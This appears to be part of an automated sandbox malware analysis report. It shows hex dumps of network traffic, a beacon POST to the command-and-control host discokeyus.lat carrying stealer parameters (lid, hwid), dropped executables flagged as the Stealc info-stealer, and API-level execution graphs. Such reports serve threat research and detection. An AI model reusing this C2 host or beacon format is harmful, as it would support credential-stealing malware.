qNI=Yg=3ziC7m:sjq{Wpj\a(1_]xW'f9[3o7]`yE'
2024-12-20 16:17:32 UTC	15331	OUT	Data Raw: 93 57 7e d3 ab 6d 5c f8 2d 88 20 4e 1b 14 2e 39 71 8a fe d4 55 7b 09 40 b4 12 66 ab 47 ca 33 40 6b bc d8 f4 e5 5e ae c1 fa 97 8c 12 b3 72 bf 13 82 26 71 ac 44 39 18 bd 3f df 39 e3 d5 fa 86 2f c3 fa d5 d0 0b 5d 40 9c b7 5f b8 73 31 ea 44 a6 4f a7 b8 0d 6b bd b9 9b 6d 34 d9 1c 51 3d 2b ed ba e3 18 c8 56 eb 1b b6 ad e3 03 e6 9b 2e 37 21 3a fe b8 ae 8d d9 f1 07 35 94 92 cf 38 17 72 44 cc ba ac 95 74 72 c8 e3 4d 8a d1 8f 78 9d 97 11 4a 86 23 b9 72 87 6a 8e a6 3a be a8 c6 49 40 04 6d c1 bc 23 7b 29 5a 05 7e f1 06 db 07 1f f8 81 a5 3a e8 d9 bf 7d c2 9a 6e e5 9a c9 fb 38 13 3a 9e 97 52 13 a6 b6 6f 65 e1 23 af 0d 6f 75 00 10 68 5c d9 62 4e 46 d9 c2 7e dd 71 48 09 3b 5b 00 6e be a7 ea b3 31 8c df 7f e2 e5 57 9f 4a d2 b7 32 9e 8e fa 68 fc 0d 3f 96 e9 3b 17 3d 22 3b Data Ascii: W~m\- N.9qU{@fG3@k^r&qD9?9/]@_s1DOkm4Q=+V.7!:58rDtrMxJ#rj:I@m#{)Z~:}n8:Roe#ouh\bNF~qH;[n1WJ2h?;=";
2024-12-20 16:17:32 UTC	15331	OUT	Data Raw: 74 0d 84 18 70 16 65 73 32 69 1e 82 a5 0f 97 b4 31 eb 98 3f 2c 07 c7 0b b6 bf bb ec e8 f8 f3 40 e4 68 79 7f 7e 3c 39 48 9d 66 5e 85 af 3f 7d df 12 66 b0 73 7a ed e7 84 d8 ef 09 5c 1d 47 dd d1 55 f4 e8 ba 4c 0d 01 d3 a1 4a d6 83 d1 31 dc f6 e4 b3 c5 9a c3 35 e9 e4 4c 03 19 82 e8 d7 14 76 6a ec 66 f9 fb ec de 05 19 e6 57 99 2f b8 9d be 5c b0 1c 33 91 ba 08 07 c7 86 7b 0e 35 ea 47 00 ba ed 5f 7b 9d 52 2d 23 70 f9 f4 4b fe b5 f3 ff 80 1b f2 d5 c5 bd b7 9f a5 11 2f 38 6a b7 f0 7d ca 56 5f 22 ca 1f 53 5e a8 33 88 b7 34 bd 6c 36 ae 76 c6 cc ca 30 d2 f8 df f2 6f 7a 1e 87 db 5a cf 18 7a bc 39 23 15 a9 71 3c 35 e7 88 58 47 af da 09 2b 7a 8f df 6d 93 7d 30 20 70 76 08 4a 7d 7e e5 ff 77 30 80 16 78 10 ab be e5 d2 a4 01 ae 8b e6 3c 48 c2 07 c0 76 af a6 f0 6d db 21 b1 Data Ascii: tpes2i1?,@hy~<9Hf^?}fsz\GULJ15LvjfW/\3{5G_{R-#pK/8j}V_"S^34l6v0ozZz9#q<5XG+zm}0 pvJ}~w0x<Hvm!
2024-12-20 16:17:32 UTC	15331	OUT	Data Raw: 66 cf ab 12 58 fd 20 be 95 2f 63 fd fc b9 b2 1a f7 eb 06 29 cf b6 03 2f e9 00 45 1f e3 4c 34 27 82 63 92 29 82 db 27 d3 30 44 6d 28 8d be eb 70 6c f9 b6 1d 94 ed fe 1a 60 e8 4b 2e 11 8b 83 b9 55 ac 99 39 58 36 44 bc 12 bd 7c 5d 9e 56 e5 32 21 d3 15 74 94 30 c1 b8 74 da e5 7d 84 4f 47 46 9d 0a 04 b8 b9 58 f2 4e 73 88 65 82 11 4e 05 7a 01 e4 e5 b4 1b d7 8b 83 06 89 41 12 08 11 96 93 c9 20 73 62 05 d8 7c bd c6 8c 84 70 6b b2 cb bf d6 03 dc 96 d7 6f e1 3a 70 8c df 87 4b 42 f5 a7 98 13 ba de bc e7 8d 5c 42 5f 61 e0 02 b8 48 bd 4f 60 1f 80 f6 ba 9e c7 42 b0 72 39 ba a0 64 87 34 2e fa 67 9c fa 76 1c 53 60 dc 0a e1 a0 c3 38 0d 88 d2 cd 79 31 4c 91 41 22 cc 53 a9 a8 15 bc 7a 96 8c b7 34 72 b9 01 35 3c ea 0b b9 9a f8 93 9a 80 f2 58 c4 91 e0 0a d7 5a 6c e4 b2 0d 7a Data Ascii: fX /c)/EL4'c)'0Dm(pl`K.U9X6D\|]V2!t0t}OGFXNseNzA sb\|pko:pKB\B_aHO`Br9d4.gvS`8y1LA"Sz4r5<XZlz
2024-12-20 16:17:32 UTC	15331	OUT	Data Raw: 04 86 b5 3c 02 38 a1 7a 94 1f d7 f5 36 9b a8 ec f8 a8 27 da 9a 2a 42 67 1e f9 ee a8 59 fe f8 34 cf 26 29 70 e1 0c 3d 75 9e ac 98 21 5c 76 15 f9 ff ef 3e b0 52 e2 09 5b 45 01 50 bf 89 11 04 42 2c ad d9 a1 2b 56 24 5f 88 a4 b8 c7 51 20 80 7d 3f d7 37 63 45 e3 2e 57 b3 02 85 93 a1 d2 df c7 47 f9 03 ac 9f f5 8d e6 15 71 d0 58 8c 86 67 05 54 95 31 5f 87 e3 b8 58 6f 79 f1 44 bb a1 98 8f 9f 0f 37 1a 22 82 58 6e 79 4a 4a 08 e0 f1 29 4c e4 df dd 5e a8 3f 92 fd 48 b0 4a 10 48 c1 25 99 62 a7 12 10 1c ef 23 80 58 36 4b a4 ff cb cd ec 7e d7 55 24 dd 28 68 e7 ef 89 c6 b7 63 4f 62 08 f2 84 67 d1 41 5c 04 5b a2 08 f3 ed 6f 3b a9 a8 1d 22 ef 86 92 39 ac 23 65 91 78 57 20 e0 ee d2 71 3f eb 32 31 85 aa 4b c3 0e cf e5 7a e2 b0 f9 b5 cd 5e aa e0 4f d1 a0 b1 f0 f8 44 2b c5 71 Data Ascii: <8z6'*BgY4&)p=u!\v>R[EPB,+V$_Q }?7cE.WGqXgT1_XoyD7"XnyJJ)L^?HJH%b#X6K~U$(hcObgA\[o;"9#exW q?21Kz^OD+q
2024-12-20 16:17:32 UTC	15331	OUT	Data Raw: 85 14 5a 7e b4 4e de 5f da e4 55 20 b6 a4 04 4e be fd 9e 4c ea 2c 01 5e 1d 21 14 2e 68 7e ef 74 83 c1 38 a1 5f 4d 35 16 ac 7c 40 a6 e4 11 29 26 52 3b 27 43 db 82 f4 35 bc b9 26 0d be 5b 5c e1 73 f4 e2 ba e0 29 8f fe eb 6a c8 5e 95 ee cc e3 64 41 d0 b4 fb 58 2e 52 ec 7c 81 bd 62 c3 15 fc 64 51 f8 d1 31 eb b2 8b 8a 35 85 69 1a c4 ec bb dc dd 6a b9 49 26 86 eb 15 db da 81 2c c1 5f 33 11 71 11 92 12 7d 03 9a fd b4 4c 80 46 83 ae 91 9c 22 70 6a 84 c5 f8 65 82 30 3d a5 2e 3a 6f 96 c9 69 b3 e1 9a cb 1c e2 62 ec d8 ac f3 b2 ee 39 ea 15 8a 2e e6 8d 98 0c 15 de fe 53 ff 3b e3 c0 1a fb fa e2 07 76 56 c0 54 e4 70 39 af 11 8a d9 67 fd 20 04 4e cd c1 fb 5d 33 46 0d 07 7e 1f ab 1c 9b 0f 4e 66 7c 4d ca af c8 5a 5a 7d ca e8 4d ca af ac bc 7e a3 6d 64 fb c9 8e c5 d2 2c 57 Data Ascii: Z~N_U NL,^!.h~t8_M5\|@)&R;'C5&[\s)j^dAX.R\|bdQ15ijI&,_3q}LF"pje0=.:oib9.S;vVTp9g N]3F~Nf\|MZZ}M~md,W
2024-12-20 16:17:39 UTC	1137	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:17:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=laanocnojoli337j55cniqp9ar; expires=Tue, 15 Apr 2025 10:04:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4XgqoAuXB5xvdyqoVikgI7GS3M1eDaDWqTCstA9lNGQlQWEXj%2B%2BKbGPElE4Dwndn5Szi%2F5XETm%2BcBcyQjszwIJwfehEYv0iRIKjifGIpb%2F3vNXojTslRMbSxn6gDZbVzWQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f50f1715f397ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2028&min_rtt=2024&rtt_var=767&sent=202&recv=591&lost=0&retrans=0&sent_bytes=2832&recv_bytes=567627&delivery_rate=1420233&cwnd=243&unsent_bytes=0&cid=70105a7b04838a9f&ts=7475&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49803	104.21.21.99	443	6052	C:\Users\user\Desktop\uDTW3VjJJT.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:17:40 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: discokeyus.lat
2024-12-20 16:17:40 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 30 41 33 44 39 42 42 37 32 44 30 35 35 34 41 33 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=0A3D9BB72D0554A3AC8923850305D13E
2024-12-20 16:17:41 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:17:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ui8r7tc73dkfmtmujpvrm4t7ca; expires=Tue, 15 Apr 2025 10:04:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Sw3fvBbGN6Ji78608hEs7a%2Fe5TMkA56osU1%2FuUkp2BsfYotUZnjKlN1cky3V4PT%2FCcQju7zEeo%2FCosbZhWF3ukmeF0nDCO8OKoH%2BlODr%2BJVXeYPwKrDdFyeqR3o38tiAPA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f50f1a8893ff78f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2174&min_rtt=2136&rtt_var=878&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=980&delivery_rate=1194762&cwnd=137&unsent_bytes=0&cid=8a3692f31c1074de&ts=850&x=0"
2024-12-20 16:17:41 UTC	214	IN	Data Raw: 64 30 0d 0a 57 32 48 38 48 2f 6c 69 59 38 64 70 59 70 7a 42 6c 64 6c 41 5a 35 32 49 36 2b 30 4a 43 52 71 45 61 5a 49 65 72 45 78 6f 63 76 59 41 47 74 35 71 32 31 68 42 72 78 30 57 37 50 76 4a 39 68 78 49 72 4c 44 65 77 7a 73 34 4c 36 70 59 6f 79 32 43 66 56 34 75 32 54 51 48 6d 6b 50 57 42 67 61 68 52 77 66 6b 70 4c 66 31 59 67 48 70 71 74 48 64 4a 53 74 2f 70 6c 4f 69 59 34 41 33 53 67 66 55 59 55 4f 55 61 34 30 53 57 5a 74 47 50 72 50 77 72 65 78 75 56 61 79 39 78 64 77 34 4f 6a 53 31 58 38 34 78 33 7a 67 4e 45 35 73 48 54 6f 35 2b 6c 77 59 4d 71 6b 63 48 35 4b 53 33 39 57 49 42 36 61 72 52 33 53 55 72 66 36 5a 54 6f 6d 50 78 0d 0a Data Ascii: d0W2H8H/liY8dpYpzBldlAZ52I6+0JCRqEaZIerExocvYAGt5q21hBrx0W7PvJ9hxIrLDewzs4L6pYoy2CfV4u2TQHmkPWBgahRwfkpLf1YgHpqtHdJSt/plOiY4A3SgfUYUOUa40SWZtGPrPwrexuVay9xdw4OjS1X84x3zgNE5sHTo5+lwYMqkcH5KS39WIB6arR3SUrf6ZTomPx
2024-12-20 16:17:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	11:17:09
Start date:	20/12/2024
Path:	C:\Users\user\Desktop\uDTW3VjJJT.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\uDTW3VjJJT.exe"
Imagebase:	0x980000
File size:	1'865'216 bytes
MD5 hash:	C55AABF570C84E3060DF0D997F2BFB33
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	11:17:47
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe"
Imagebase:	0xcf0000
File size:	2'846'208 bytes
MD5 hash:	ED267F8F886C1D23165754F5C17B852D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	11:17:52
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe"
Imagebase:	0xfb0000
File size:	2'883'584 bytes
MD5 hash:	A0956C9F9C719B85668C6F8B85F89A5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000002.2660131212.0000000000FB1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000003.2612918686.0000000004900000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000002.2659631353.000000000069E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	11.1%
Total number of Nodes:	18
Total number of Limit Nodes:	1

Executed Functions

Function 00E7750B Relevance: 1.6, APIs: 1, Instructions: 132
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00E7750B

Memory Dump Source

Source File: 0000000C.00000002.2701477089.0000000000E77000.00000040.00000001.01000000.00000008.sdmp, Offset: 00CF0000, based on PE: true

Associated: 0000000C.00000002.2697507573.0000000000CF0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2697583926.0000000000CF2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2697621953.0000000000CF6000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2700641714.0000000000CFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2700695709.0000000000D06000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701073791.0000000000E5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701161498.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701268795.0000000000E74000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701413481.0000000000E76000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701477089.0000000000E83000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701803282.0000000000E85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701938818.0000000000E89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702058641.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702191528.0000000000E98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702230631.0000000000E99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702254839.0000000000E9A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702287554.0000000000E9B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702313001.0000000000E9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702342917.0000000000EB1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702397528.0000000000EBB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702501557.0000000000EBD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702629894.0000000000EC5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702754759.0000000000ED2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702827355.0000000000ED9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702908100.0000000000EF0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702943505.0000000000EF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702970699.0000000000EF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703104691.0000000000F00000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703162740.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703253072.0000000000F11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703317196.0000000000F12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703341275.0000000000F15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703408080.0000000000F1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703432288.0000000000F1F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703507817.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703548372.0000000000F2A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703669049.0000000000F31000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703753806.0000000000F35000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703884174.0000000000F46000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704006965.0000000000F47000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704121668.0000000000F56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704160925.0000000000F58000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704201303.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704224358.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704249420.0000000000F92000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704249420.0000000000F99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704299986.0000000000FA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704322806.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_cf0000_FC6S9INH3UEK91EJWRLCPKUP1.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: bce1fda87419294b681496cd072c11e5269e972a0b4b51790831e4b84a7abdcf
Instruction ID: e8323cd3c527a5e5dcc8d040e069c4c05cd8e613876fba91eb3869df53d592ed
Opcode Fuzzy Hash: bce1fda87419294b681496cd072c11e5269e972a0b4b51790831e4b84a7abdcf
Instruction Fuzzy Hash: D24138B210C200AFD3056F69E885ABEFBE8FF94721F124C2DE6C582210D77449958BA7

Function 00E7BACE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(1E00C600), ref: 00E7BB0F

Strings

#, xrefs: 00E7BB32
C, xrefs: 00E7BD91

Memory Dump Source

Source File: 0000000C.00000002.2701477089.0000000000E77000.00000040.00000001.01000000.00000008.sdmp, Offset: 00CF0000, based on PE: true

Associated: 0000000C.00000002.2697507573.0000000000CF0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2697583926.0000000000CF2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2697621953.0000000000CF6000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2700641714.0000000000CFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2700695709.0000000000D06000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701073791.0000000000E5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701161498.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701268795.0000000000E74000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701413481.0000000000E76000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701477089.0000000000E83000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701803282.0000000000E85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701938818.0000000000E89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702058641.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702191528.0000000000E98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702230631.0000000000E99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702254839.0000000000E9A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702287554.0000000000E9B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702313001.0000000000E9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702342917.0000000000EB1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702397528.0000000000EBB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702501557.0000000000EBD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702629894.0000000000EC5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702754759.0000000000ED2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702827355.0000000000ED9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702908100.0000000000EF0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702943505.0000000000EF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702970699.0000000000EF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703104691.0000000000F00000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703162740.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703253072.0000000000F11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703317196.0000000000F12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703341275.0000000000F15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703408080.0000000000F1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703432288.0000000000F1F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703507817.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703548372.0000000000F2A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703669049.0000000000F31000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703753806.0000000000F35000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703884174.0000000000F46000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704006965.0000000000F47000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704121668.0000000000F56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704160925.0000000000F58000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704201303.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704224358.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704249420.0000000000F92000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704249420.0000000000F99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704299986.0000000000FA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704322806.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_cf0000_FC6S9INH3UEK91EJWRLCPKUP1.jbxd

Similarity

API ID: CreateFile
String ID: #$C
API String ID: 823142352-3682062375
Opcode ID: 194edf1ad8a30b1a46b8afbcdf9c8ef9e55c958c7bda3adb0e645d792c711ccb
Instruction ID: 8aceda2962033aec6d26d1febeb11fb75a73cb72bdd44c847e0ccf07907e5894
Opcode Fuzzy Hash: 194edf1ad8a30b1a46b8afbcdf9c8ef9e55c958c7bda3adb0e645d792c711ccb
Instruction Fuzzy Hash: 0D218BB654424EAEC7119F1588447EF7FE9FB53330B30842EE506A7603E3A64D159A64

Function 00E8493C Relevance: 4.6, APIs: 3, Instructions: 57
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 00E84F56
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00E84F7D
GetNativeSystemInfo.KERNELBASE(?), ref: 00E84FD4

Memory Dump Source

Source File: 0000000C.00000002.2701477089.0000000000E83000.00000040.00000001.01000000.00000008.sdmp, Offset: 00CF0000, based on PE: true

Associated: 0000000C.00000002.2697507573.0000000000CF0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2697583926.0000000000CF2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2697621953.0000000000CF6000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2700641714.0000000000CFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2700695709.0000000000D06000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701073791.0000000000E5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701161498.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701268795.0000000000E74000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701413481.0000000000E76000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701477089.0000000000E77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701803282.0000000000E85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701938818.0000000000E89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702058641.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702191528.0000000000E98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702230631.0000000000E99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702254839.0000000000E9A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702287554.0000000000E9B000.00000080.00000001.01000000.00000008.sdmpDownload File
